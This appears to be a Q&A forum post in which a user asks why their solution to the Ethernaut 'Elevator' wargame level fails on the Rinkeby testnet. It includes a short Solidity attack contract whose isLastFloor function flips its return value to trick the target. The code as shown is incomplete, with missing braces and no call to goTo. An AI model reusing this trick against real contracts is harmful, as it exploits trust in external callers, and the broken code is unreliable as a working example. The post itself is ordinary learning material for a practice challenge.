I'm trying to solve Ethernaut #11 Elevator. My solution works when I deploy a copy of the instance contract by myself on Remix VM, but when I try it on the real instance on the Rinkeby network, using Remix's Injected Provider - Metamask, calling the function goToTop() gives a "Gas estimation failed". I have also tried others' solutions that I have found online, and they all give me the same error.

My solution:

pragma solidity ^0.6.0;

contract Elevator {
  function goTo(uint _floor) public {}

contract Attack {

  Elevator public e;
  bool public toggle = true;

  constructor(address target) public {
    e = Elevator(target);

  function goToTop() public {
    uint top = 0;
    top -= 1;

  function isLastFloor(uint) external returns (bool) {
    toggle = !toggle;
    return toggle;


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.